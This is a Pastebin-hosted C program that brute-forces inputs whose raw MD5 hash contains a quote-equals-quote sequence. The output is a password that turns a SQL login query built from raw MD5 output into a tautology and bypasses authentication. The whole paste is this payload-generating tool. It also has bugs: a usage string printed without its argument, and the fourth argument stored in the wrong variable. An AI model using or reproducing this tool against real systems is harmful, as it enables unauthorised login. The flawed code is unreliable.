Advertisement
Guest User

md5sql_brute3.c

a guest
Sep 10th, 2010
753
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.01 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <ctype.h>
  5. #include <openssl/md5.h>
  6.  
  7. int check_result(char *result)
  8. {
  9.     int i = 0;
  10.     while (i < 13) {
  11.         if (result[i++] == '\'') {
  12.             while (isspace(result[i]))
  13.                 i++;
  14.  
  15.             if (result[i++] != '=')
  16.                 return 0;
  17.             while (isspace(result[i]))
  18.                 i++;
  19.             if (result[i] == '\'')
  20.                 return 1;
  21.             return 0;
  22.         }
  23.     }
  24.    
  25.     return 0;
  26. }
  27.  
  28. void try_bruteforce(int min_len, int max_len, int start, int stop)
  29. {
  30.     unsigned char password[128];
  31.     int i, j;
  32.     int len, chkPos;
  33.     MD5_CTX md5Ctx;
  34.     char result[17];
  35.  
  36.     len = min_len;
  37.     memset(password, 0, 128);
  38.  
  39.     // set password first time
  40.     for (i = 0; i < len; i++)
  41.         password[i] = 0;
  42.     password[len - 1] = start;
  43.     chkPos = max_len - 1;
  44.  
  45.     result[16] = 0;
  46.     while (len <= max_len) {
  47.         // try decrypt with password here
  48.         MD5_Init(&md5Ctx);
  49.         MD5_Update(&md5Ctx, password, len);
  50.         MD5_Final((unsigned char*) result, &md5Ctx);
  51.  
  52.         if (check_result(result)) {
  53.             printf("password: ");
  54.             for (j = 0; j < len; j++)
  55.                 printf("%02x", password[j]);
  56.             printf("\n");
  57.             printf("password: ");
  58.             for (j = 0; j < len; j++)
  59.                 printf("%%%02x", password[j]);
  60.             printf("\n");
  61.             printf("result: ");
  62.             for (j = 0; j < 16; j++)
  63.                 printf("%02x", (unsigned char)result[j]);
  64.             printf("\n");
  65.             printf("result: %s\n", result);
  66.             return;
  67.         }
  68.  
  69.         for (i = 0; i < len; i++) {
  70.             if (++password[i])
  71.                 break;
  72.         }
  73.         if (i == chkPos) {
  74.             printf("chkPos value: %d\n", password[i]);
  75.             if ((int)password[i] == stop)
  76.                 return;
  77.         }
  78.         if (i == len) {
  79.             password[i] = 1;
  80.             len++;
  81.             printf("now len is: %d\n", len);
  82.         }
  83.     }
  84. }
  85.  
  86. int main(int argc, char* argv[])
  87. {
  88.     int min = 4;
  89.     int max = 4;
  90.     int start = 0;
  91.     int stop = 256;
  92.  
  93.     if (argc < 3) {
  94.         printf("Usage: %s min max [start=0] [stop=256]");
  95.         return 1;
  96.     }
  97.  
  98.     min = atoi(argv[1]);
  99.     max = atoi(argv[2]);
  100.     if (argc > 3)
  101.         start = atoi(argv[3]);
  102.     if (argc > 4)
  103.         start = atoi(argv[4]);
  104.  
  105.     try_bruteforce(min, max, start, stop);
  106.     return 0;
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement